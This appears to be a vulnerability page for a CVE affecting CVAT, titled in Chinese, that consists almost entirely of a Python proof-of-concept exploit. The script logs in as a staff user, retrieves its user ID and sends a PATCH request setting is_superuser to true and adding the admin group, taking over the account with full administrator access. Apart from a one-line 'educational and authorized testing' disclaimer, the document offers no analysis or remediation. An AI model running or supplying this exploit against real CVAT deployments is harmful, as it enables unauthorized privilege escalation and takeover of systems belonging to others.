CVE-2026-23526 | CVAT staff权限用户权限提升漏洞

#!/usr/bin/env python3 """ CVE-2026-23526 PoC - CVAT Staff Privilege Escalation Note: This PoC is for educational and authorized testing purposes only. """ import requests import json TARGET = "http://target-cvat-instance.com" USERNAME = "[email protected]" PASSWORD = "password123" def exploit(): """Exploit privilege escalation vulnerability in CVAT""" session = requests.Session() # Step 1: Login to get authentication token login_url = f"{TARGET}/api/v1/auth/login" login_data = { "username": USERNAME, "password": PASSWORD } response = session.post(login_url, json=login_data) if response.status_code != 200: print(f"[-] Login failed: {response.status_code}") return None print("[+] Login successful") token = response.json().get('key') or session.cookies.get('csrftoken') # Step 2: Get current user ID user_url = f"{TARGET}/api/v1/users/self" response = session.get(user_url) user_id = response.json().get('id') print(f"[+] Current user ID: {user_id}") # Step 3: Escalate privileges to superuser update_url = f"{TARGET}/api/v1/users/{user_id}" headers = { "X-CSRFToken": session.cookies.get('csrftoken'), "Referer": TARGET } # Payload to grant superuser privileges exploit_data = { "is_superuser": True, "groups": ["admin"] } response = session.patch(update_url, json=exploit_data, headers=headers) if response.status_code in [200, 201]: print("[+] Privilege escalation successful!") print("[+] User is now a superuser with full admin access") return True else: print(f"[-] Exploit failed: {response.status_code}") print(f"[-] Response: {response.text}") return False if __name__ == "__main__": exploit()